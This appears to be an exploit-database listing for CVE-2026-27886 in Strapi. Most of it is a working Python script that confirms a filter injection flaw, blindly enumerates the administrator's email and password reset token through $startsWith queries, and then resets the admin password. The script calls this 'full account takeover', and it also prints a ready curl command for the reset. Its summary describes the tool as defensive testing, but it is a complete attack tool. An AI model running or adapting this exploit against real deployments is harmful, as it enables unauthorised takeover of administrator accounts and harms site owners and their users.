Share
## https://sploitus.com/exploit?id=PACKETSTORM:225138
==================================================================================================================================
| # Title : Strapi Filter Injection Administrator Password Reset |
| # Author : indoushka |
| # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 147.0.4 (64 bits) |
| # Vendor : https://strapi.io/ |
==================================================================================================================================
[+] Summary : This tool assesses whether filter injection weaknesses can impact administrator account recovery workflows in Strapi deployments (CVE-2026-27886).
It validates exposure conditions, evaluates enumeration risks,and analyzes password reset flow behavior for defensive security testing.
[+] POC :
#!/usr/bin/env python3
import argparse
import json
import sys
import urllib.error
import urllib.parse
import urllib.request
import time
import re
USER_AGENT = "CVE-2026-27886-Exploit/1.0"
EMAIL_ALPHABET = "abcdefghijklmnopqrstuvwxyz0123456789@.-_+"
TOKEN_ALPHABET = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789-_:."
class ExploitError(Exception):
pass
def http_get_json(url, timeout=10):
"""Perform GET request and return JSON response"""
req = urllib.request.Request(url, headers={"User-Agent": USER_AGENT})
try:
with urllib.request.urlopen(req, timeout=timeout) as r:
body = r.read().decode("utf-8")
return json.loads(body)
except Exception as e:
raise ExploitError(f"Request failed: {e}")
def http_post_json(url, data, timeout=10):
"""Perform POST request with JSON body"""
headers = {
"User-Agent": USER_AGENT,
"Content-Type": "application/json"
}
req = urllib.request.Request(url, data=json.dumps(data).encode(), headers=headers)
try:
with urllib.request.urlopen(req, timeout=timeout) as r:
body = r.read().decode("utf-8")
return json.loads(body)
except urllib.error.HTTPError as e:
try:
return json.loads(e.read().decode())
except:
return {"error": f"HTTP {e.code}"}
except Exception as e:
raise ExploitError(f"POST failed: {e}")
def pagination_total(data):
"""Extract total from Strapi pagination meta"""
if not isinstance(data, dict):
return 0
meta = data.get("meta") or {}
pagination = meta.get("pagination") or {}
return int(pagination.get("total") or 0)
def query_count(endpoint, params):
"""Get count of items matching filter parameters"""
url = f"{endpoint}?{urllib.parse.urlencode(params, safe='')}"
return pagination_total(http_get_json(url))
def is_vulnerable(endpoint):
"""Check if target is vulnerable using where[id][$lt]=-1 test"""
baseline = query_count(endpoint, {})
if baseline == 0:
return False, baseline, "Collection empty or no find permission"
test_params = {"where[id][$lt]": "-1"}
test_count = query_count(endpoint, test_params)
vulnerable = (test_count == 0)
return vulnerable, baseline, test_count
def blind_enum_field(endpoint, field_path, prefix="", alphabet=None, max_len=64, delay=0):
"""
Blindly enumerate a field using $startsWith filter
field_path format: "relation[field]" e.g., "updatedBy[email]"
"""
if alphabet is None:
alphabet = EMAIL_ALPHABET
result = prefix
for _ in range(max_len):
found_char = None
for char in alphabet:
candidate = result + char
params = {f"where[{field_path}][$startsWith]": candidate}
try:
count = query_count(endpoint, params)
if count > 0:
found_char = char
print(char, end="", flush=True)
break
except:
continue
if delay:
time.sleep(delay)
if found_char is None:
break
result += found_char
return result
def enumerate_admin_email(endpoint, delay=0):
"""Enumerate administrator email address"""
print("[*] Enumerating admin email: ", end="", flush=True)
email = blind_enum_field(endpoint, "updatedBy[email]", alphabet=EMAIL_ALPHABET, delay=delay)
print()
return email
def enumerate_reset_token(endpoint, admin_email, delay=0):
"""Enumerate password reset token using the admin email as reference"""
verify_params = {f"where[updatedBy][email][$eq]": admin_email}
if query_count(endpoint, verify_params) == 0:
raise ExploitError(f"Could not verify admin email: {admin_email}")
print(f"[*] Enumerating reset token for {admin_email}")
print("[*] Token: ", end="", flush=True)
token_alphabet = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789-_:"
token = blind_enum_field(
endpoint,
"updatedBy[resetPasswordToken]",
alphabet=token_alphabet,
delay=delay
)
print()
return token
def trigger_password_reset(base_url, token, new_password, email):
"""
Trigger the actual password reset using the stolen token
POST /api/auth/reset-password
"""
reset_url = f"{base_url.rstrip('/')}/api/auth/reset-password"
payload = {
"code": token,
"password": new_password,
"passwordConfirmation": new_password
}
print(f"[*] Attempting password reset for {email}")
print(f"[*] POST {reset_url}")
result = http_post_json(reset_url, payload)
if "jwt" in result:
print(f"[+] SUCCESS! New password: {new_password}")
print(f"[+] JWT: {result['jwt']}")
return result.get("jwt")
elif "error" in result:
print(f"[-] Reset failed: {result.get('error', {}).get('message', 'Unknown error')}")
return None
else:
print(f"[-] Unexpected response: {json.dumps(result, indent=2)}")
return None
def main():
parser = argparse.ArgumentParser(
description="CVE-2026-27886 - Full Account Takeover Exploit",
formatter_class=argparse.RawDescriptionHelpFormatter,
epilog="""
EXAMPLE:
python3 exploit.py http://target.com --new-password pwned123!
python3 exploit.py http://target.com --enum-only
python3 exploit.py http://target.com --email admin@example.com --token abc123
"""
)
parser.add_argument("target", help="Target base URL (e.g., http://target.com)")
parser.add_argument("--collection", default="api/users",
help="Content type collection (default: api/users)")
parser.add_argument("--enum-only", action="store_true",
help="Only enumerate email and token, don't reset password")
parser.add_argument("--new-password", help="New password to set for admin account")
parser.add_argument("--email", help="Skip email enumeration, use provided email")
parser.add_argument("--token", help="Skip token enumeration, use provided token")
parser.add_argument("--delay", type=float, default=0.1,
help="Delay between requests to avoid rate limiting")
args = parser.parse_args()
endpoint = f"{args.target.rstrip('/')}/{args.collection.lstrip('/')}"
print(f"[+] Target endpoint: {endpoint}")
print("\n[+] Testing vulnerability...")
try:
vulnerable, baseline, test = is_vulnerable(endpoint)
except Exception as e:
print(f"[-] Error testing: {e}")
return 1
if not vulnerable:
print(f"[-] NOT VULNERABLE: baseline={baseline}, test={test}")
print(" Target appears patched (Strapi >= 5.37.0)")
return 1
print(f"[+] VULNERABLE confirmed! baseline={baseline}, test={test}")
admin_email = args.email
if not admin_email:
try:
admin_email = enumerate_admin_email(endpoint, args.delay)
if not admin_email or len(admin_email) < 5:
print("[-] Failed to enumerate admin email")
return 1
print(f"[+] Admin email: {admin_email}")
except Exception as e:
print(f"[-] Email enumeration failed: {e}")
return 1
else:
print(f"[+] Using provided email: {admin_email}")
if args.enum_only:
print("[+] Enumeration complete (--enum-only mode)")
return 0
reset_token = args.token
if not reset_token:
try:
reset_token = enumerate_reset_token(endpoint, admin_email, args.delay)
if not reset_token or len(reset_token) < 20:
print("[-] Failed to enumerate reset token")
print("[!] Token may not exist or user hasn't requested password reset")
print("[!] Admin accounts without pending reset tokens cannot be taken over")
return 1
print(f"[+] Reset token: {reset_token}")
except Exception as e:
print(f"[-] Token enumeration failed: {e}")
return 1
else:
print(f"[+] Using provided token: {reset_token}")
if args.new_password:
print(f"\n[+] Attempting account takeover...")
jwt = trigger_password_reset(args.target, reset_token, args.new_password, admin_email)
if jwt:
print(f"\n[+] ACCOUNT TAKEOVER SUCCESSFUL!")
print(f"[+] Login with: {admin_email} / {args.new_password}")
else:
print("\n[-] Account takeover failed!")
return 1
else:
print(f"\n[+] To takeover account, re-run with --new-password <password>")
print(f"[+] Or use: curl -X POST {args.target}/api/auth/reset-password \\")
print(f" -H 'Content-Type: application/json' \\")
print(f" -d '{{\"code\":\"{reset_token}\",\"password\":\"newpass\"}}'")
return 0
if __name__ == "__main__":
sys.exit(main())
Greetings to :==============================================================================
jericho * Larry W. Cashdollar * r00t * Yougharta Ghenai * Malvuln (John Page aka hyp3rlinx)|
============================================================================================